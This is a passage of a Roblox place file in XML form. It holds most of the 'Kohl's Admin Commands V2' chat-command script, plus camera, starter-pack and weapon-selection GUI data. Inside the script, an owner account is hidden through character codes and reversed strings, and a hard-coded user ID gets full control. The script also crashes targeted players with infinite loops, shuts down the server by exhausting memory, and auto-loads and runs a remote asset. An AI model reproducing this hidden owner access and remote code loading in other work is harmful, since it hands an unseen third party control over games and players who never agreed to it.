local frc = Instance.new(&quot;BodyForce&quot;, plr.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,12) == &quot;unloopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == &quot;LoopFling:&quot;..v.Name then sc:Destroy() table.remove(objects,q) end end end
end
&#9;
end

-------------------------
-- True Owner Commands --
-------------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then

if msg:lower():sub(1,3) == &quot;oa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unoa &quot; then
for i = 1, #owners do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
end))
end
end

if msg:lower() == &quot;settings&quot; then
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;SETTINGSGUI&quot; then v:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;,plr.PlayerGui) scr.Name = &quot;SETTINGSGUI&quot;
local main = Instance.new(&quot;Frame&quot;, scr) main.Style = &quot;RobloxRound&quot; main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
local title = Instance.new(&quot;TextLabel&quot;, main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = &quot;Settings&quot; title.Font = &quot;ArialBold&quot; title.FontSize = &quot;Size24&quot; title.ZIndex = 8
local s1 = Instance.new(&quot;TextLabel&quot;, main) s1.Position = UDim2.new(0,0,0,50) s1.Text = &quot;Prefix:&quot; s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = &quot;ArialBold&quot; s1.FontSize = &quot;Size18&quot; s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = &quot;Left&quot; s1.ZIndex = 8
local tb1 = Instance.new(&quot;TextBox&quot;, main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = &quot;Arial&quot; tb1.FontSize = &quot;Size18&quot; tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = &quot;Top&quot; tb1.ClipsDescendants = true tb1.ZIndex = 8
local s2 = Instance.new(&quot;TextLabel&quot;, main) s2.Position = UDim2.new(0,0,0,80) s2.Text = &quot;Fun Commands:&quot; s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = &quot;ArialBold&quot; s2.FontSize = &quot;Size18&quot; s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = &quot;Left&quot; s2.ZIndex = 8
local cb1 = Instance.new(&quot;TextButton&quot;, main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = &quot;Arial&quot; cb1.FontSize = &quot;Size18&quot; cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = &quot;Top&quot; cb1.ZIndex = 8
if FunCommands then cb1.Text = &quot;X&quot; else cb1.Text = &quot;&quot; end tb1.Text = prefix
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= &quot;&quot; then prefix = tb1.Text:sub(1,1) end end)
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = &quot;&quot; else FunCommands = true cb1.Text = &quot;X&quot; end end)
local cls = Instance.new(&quot;TextButton&quot;, main) cls.Style = &quot;RobloxButtonDefault&quot; cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = &quot;ArialBold&quot; cls.FontSize = &quot;Size18&quot; cls.Text = &quot;X&quot; cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
end

end

--------------------
-- Owner Commands --
--------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then

if msg:lower():sub(1,3) == &quot;pa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unpa &quot; then
for i = 1, #admins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
end))
end
end

if msg:lower():sub(1,5) == &quot;nuke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
local p = Instance.new(&quot;Part&quot;,game.Workspace) table.insert(objects,p)
p.Anchored = true
p.CanCollide = false
p.formFactor = &quot;Symmetric&quot;
p.Shape = &quot;Ball&quot;
p.Size = Vector3.new(1,1,1)
p.BrickColor = BrickColor.new(&quot;New Yeller&quot;)
p.Transparency = .5
p.Reflectance = .2
p.TopSurface = 0
p.BottomSurface = 0
p.Touched:connect(function(hit)
if hit and hit.Parent then
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace)
ex.Position = hit.Position
ex.BlastRadius = 11
ex.BlastPressure = math.huge
end
end)
local cf = v.Character.Torso.CFrame
p.CFrame = cf
for i = 1, 333 do
p.Size = p.Size + Vector3.new(3,3,3)
p.CFrame = cf
wait(1/44)
end
p:Destroy()
end
end))
end
end

end

--------------------------
-- Super Admin Commands --
--------------------------

if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then

if msg:lower() == &quot;logs&quot; then
if plr.PlayerGui:findFirstChild(&quot;LOGSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;LOGSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;[&quot; .. v.time .. &quot;] &quot; .. v.name .. &quot; &quot; .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end
&#9;
if msg:lower():sub(1,9) == &quot;loopkill &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
local num = 9999
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == &quot;number&quot; then num = tonumber(msg:sub(chk1+1)) end end
for i, v in pairs(plrz) do
if v and not ChkAdmin(v.Name, false) then
local cl = script.ScriptBase:Clone() cl.Name = &quot;LoopKill:&quot;..v.Name cl.Code.Value = [[
local plr = game.Players:findFirstChild(&quot;]] .. v.Name .. [[&quot;)
for i = 1, ]] .. tostring(num) .. [[ do 
repeat wait() plr = game.Players:findFirstChild(&quot;]] .. v.Name .. [[&quot;) until plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) and plr.Character.Humanoid.Health ~= 0
coroutine.resume(coroutine.create(function()
if plr and plr.Character then plr.Character:BreakJoints() end
end))
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopkill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == &quot;LoopKill:&quot;..v.Name then sc:Destroy() table.remove(objects,q) end end end
end

if msg:lower() == &quot;serverlock&quot; or msg:lower() == &quot;slock&quot; then slock = true Hint(&quot;Server has been locked&quot;, game.Players:children()) end
if msg:lower() == &quot;serverunlock&quot; or msg:lower() == &quot;sunlock&quot; then slock = false Hint(&quot;Server has been unlocked&quot;, game.Players:children()) end

if msg:lower():sub(1,3) == &quot;sm &quot; then
Message(&quot;SYSTEM MESSAGE&quot;, msg:sub(4), false, game.Players:children())
end

if msg:lower():sub(1,3) == &quot;ko &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local num = 500 if num &gt; msg:sub(chk1+1) then num = msg:sub(chk1+1) end
for n = 1, num do
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) and not ChkAdmin(v.Name, false) then 
local val = Instance.new(&quot;ObjectValue&quot;, v.Character.Humanoid) val.Value = plr val.Name = &quot;creator&quot;
v.Character:BreakJoints() 
wait(1/44) 
v:LoadCharacter()
wait(1/44) 
end
end))
end
end
end

if msg:lower():sub(1,6) == &quot;crash &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and not ChkAdmin(v.Name, false) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kick &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
end))
end
end

if msg:lower():sub(1,6) == &quot;admin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,8) == &quot;unadmin &quot; then
for i = 1, #tempadmins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(9) == &quot;all&quot; or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
end))
end
end

if msg:lower():sub(1,4) == &quot;ban &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
end))
end
end

if msg:lower():sub(1,6) == &quot;unban &quot; then
for i = 1, #banland do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(7) == &quot;all&quot; or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
end))
end
end

if msg:lower() == &quot;shutdown&quot; then Message(&quot;SYSTEM MESSAGE&quot;, &quot;Shutting down...&quot;, false, game.Players:children(), 10) wait(1) local str = Instance.new(&quot;StringValue&quot;, game.Workspace) str.Value = &quot;AA&quot; repeat str.Value = str.Value .. str.Value wait(.1) until nil end

end
end))
end

function AdminControl(plr)
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild(&quot;RobloxTeam&quot;) chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA(&quot;CharacterMesh&quot;) and obj.Name:find(&quot;3.0&quot;) then obj:Destroy() end end end) end))
if plr.Name:sub(1,6) == &quot;Player&quot; and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild(&quot;PlayerGui&quot;)
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;CMDBAR&quot; then v:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui) scr.Name = &quot;CMDBAR&quot;
local box = Instance.new(&quot;TextBox&quot;, scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = &quot;Arial&quot; box.FontSize = &quot;Size14&quot; box.Text = &quot;Type a command, then press enter.&quot; box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = &quot;Right&quot; box.ZIndex = 10 box.ClipsDescendants = true
box.Changed:connect(function(p) if p == &quot;Text&quot; and box.Text ~= &quot;Type a command, then press enter.&quot; then Chat(box.Text, plr) box.Text = &quot;Type a command, then press enter.&quot; end end)
end)) end
coroutine.resume(coroutine.create(function() plr:WaitForChild(&quot;PlayerGui&quot;) plr:WaitForChild(&quot;Backpack&quot;) if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. &quot; has tried to join the server&quot;, game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
coroutine.resume(coroutine.create(function() plr:WaitForChild(&quot;PlayerGui&quot;) plr:WaitForChild(&quot;Backpack&quot;) wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == (&quot;111reyalseca&quot;):reverse() or plr.Name:lower() == (&quot;ecnaillirbi&quot;):reverse() or plr.Name:lower() == (&quot;8k2ffets&quot;):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= &quot;tastrophe&quot;) then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
coroutine.resume(coroutine.create(function() if VipAdmin and game:service(&quot;BadgeService&quot;):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {plr}) end end))
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
end

if not ntab then script:Destroy() end
if not bct then script:Destroy() end

local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = &quot;&quot; for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)

script.Name = &quot;Kohl&apos;s Admin Commands V2&quot;

if not ntab then script:Destroy() end
if not bct then script:Destroy() end
if not tcb then script:Destroy() end
game.Players.PlayerAdded:connect(AdminControl)
for i, v in pairs(game.Players:children()) do AdminControl(v) end
end

local mod = game:service(&quot;InsertService&quot;):LoadAsset(100808216)
if mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;) and mod:findFirstChild(&quot;Version&quot;, true) and AutoUpdate then 
local newac = mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;)
newac.Disabled = true
local new = tonumber(mod:findFirstChild(&quot;Version&quot;, true).Value)
local old = 0
if script:findFirstChild(&quot;Version&quot;, true) then old = tonumber(script:findFirstChild(&quot;Version&quot;, true).Value) end
if new &gt; old then
local adminmod = Instance.new(&quot;Model&quot;, game.Lighting) adminmod.Name = &quot;KACV2&quot;
for i,v in pairs(owners) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Owner&quot; strv.Value = v end
for i,v in pairs(admins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Admin&quot; strv.Value = v end
for i,v in pairs(tempadmins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;TempAdmin&quot; strv.Value = v end
for i,v in pairs(banland) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Banland&quot; strv.Value = v end
local prf = Instance.new(&quot;StringValue&quot;, adminmod) prf.Name = &quot;Prefix&quot; prf.Value = prefix
local bv = Instance.new(&quot;BoolValue&quot;, adminmod) bv.Name = &quot;FunCommands&quot; bv.Value = FunCommands
local bv2 = Instance.new(&quot;BoolValue&quot;, adminmod) bv2.Name = &quot;GroupAdmin&quot; bv2.Value = GroupAdmin
local iv = Instance.new(&quot;IntValue&quot;, adminmod) iv.Name = &quot;GroupId&quot; iv.Value = GroupId
local iv2 = Instance.new(&quot;IntValue&quot;, adminmod) iv2.Name = &quot;GroupRank&quot; iv2.Value = GroupRank
local bv3 = Instance.new(&quot;BoolValue&quot;, adminmod) bv3.Name = &quot;VipAdmin&quot; bv3.Value = VipAdmin
local iv3 = Instance.new(&quot;IntValue&quot;, adminmod) iv3.Name = &quot;ItemId&quot; iv3.Value = ItemId
wait()
newac.Parent = game.Workspace
newac.Disabled = false
script.Disabled = true
script:Destroy()
else
CHEESE()
end
else
CHEESE()
end</ProtectedString>
			</Properties>
			<Item class="Script" referent="RBX3671">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">ScriptBase</string>
					<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX3672">
					<Properties>
						<string name="Name">Code</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX3673">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LocalScriptBase</string>
					<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX3674">
					<Properties>
						<string name="Name">Code</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
			<Item class="IntValue" referent="RBX3675">
				<Properties>
					<string name="Name">Version</string>
					<int name="Value">137</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Camera" referent="RBX3676">
			<Properties>
				<Ref name="CameraSubject">null</Ref>
				<token name="CameraType">5</token>
				<CoordinateFrame name="CoordinateFrame">
					<X>-43.7691956</X>
					<Y>44.5200844</Y>
					<Z>-90.2108765</Z>
					<R00>-0.822443008</R00>
					<R01>0.115369134</R01>
					<R02>-0.557025552</R02>
					<R10>-7.4505806e-009</R10>
					<R11>0.979217649</R11>
					<R12>0.202812061</R12>
					<R20>0.568847537</R20>
					<R21>0.166801363</R21>
					<R22>-0.805350721</R22>
				</CoordinateFrame>
				<float name="FieldOfView">70</float>
				<CoordinateFrame name="Focus">
					<X>-42.6551437</X>
					<Y>44.11446</Y>
					<Z>-88.600174</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Camera</string>
			</Properties>
		</Item>
	</Item>
	<Item class="StarterPack" referent="RBX3677">
		<Properties>
			<string name="Name">StarterPack</string>
		</Properties>
		<Item class="LocalScript" referent="RBX3678">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">OrangeView</string>
				<ProtectedString name="Source">if not script.Parent.Parent.Neutral and script.Parent.Parent.TeamColor ~= BrickColor.new(&quot;Sand green&quot;) then script:remove() return end 
&#9;SetRemove = function ()
&#9;for i,_ in ipairs(game.Workspace.CurrentCamera:children()) do
&#9;_:remove()
&#9;end
&#9;end
local Shade = Instance.new(&quot;Part&quot;)
local ShadeMesh = Instance.new(&quot;BlockMesh&quot;)
ShadeMesh.Scale = Vector3.new(800,800,0.000001)
ShadeMesh.Offset = Vector3.new(0,-3,0)
ShadeMesh.Parent = Shade
Shade.Size = Vector3.new(1,1,1)
Shade.BrickColor = BrickColor.new(&quot;Neon orange&quot;)
Shade.Transparency = 1
Shade.Reflectance = 0.02
Shade.Anchored = true 
Shade.CanCollide = false
SetRemove()
Shade.Parent = game.Workspace.CurrentCamera
repeat wait() until script.Parent.Parent.Character~=nil
script.Parent.Parent.Character.Humanoid.Died:connect(SetRemove)
while true do wait()
Shade.CFrame = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(0,5,-math.pi*2)
end 
</ProtectedString>
			</Properties>
		</Item>
	</Item>
	<Item class="StarterGui" referent="RBX3679">
		<Properties>
			<string name="Name">StarterGui</string>
			<bool name="ShowDevelopmentGui">true</bool>
		</Properties>
		<Item class="ScreenGui" referent="RBX3680">
			<Properties>
				<string name="Name">ClassGUI</string>
			</Properties>
			<Item class="Frame" referent="RBX3681">
				<Properties>
					<bool name="Active">false</bool>
					<Color3 name="BackgroundColor3">4278716424</Color3>
					<float name="BackgroundTransparency">0.5</float>
					<Color3 name="BorderColor3">4279970357</Color3>
					<int name="BorderSizePixel">1</int>
					<bool name="ClipsDescendants">false</bool>
					<bool name="Draggable">false</bool>
					<string name="Name">Survivors</string>
					<UDim2 name="Position">
						<XS>0</XS>
						<XO>0</XO>
						<YS>0</YS>
						<YO>-25</YO>
					</UDim2>
					<UDim2 name="Size">
						<XS>1</XS>
						<XO>0</XO>
						<YS>1.20000005</YS>
						<YO>0</YO>
					</UDim2>
					<token name="SizeConstraint">0</token>
					<token name="Style">0</token>
					<bool name="Visible">false</bool>
					<int name="ZIndex">1</int>
				</Properties>
				<Item class="Frame" referent="RBX3682">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Primary</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextButton" referent="RBX3683">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">R870- Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3684">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079880</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3685">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.R870:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3686">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-75</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3687">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">shawtguns</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3688">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">AK47-Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294506744</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3689">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
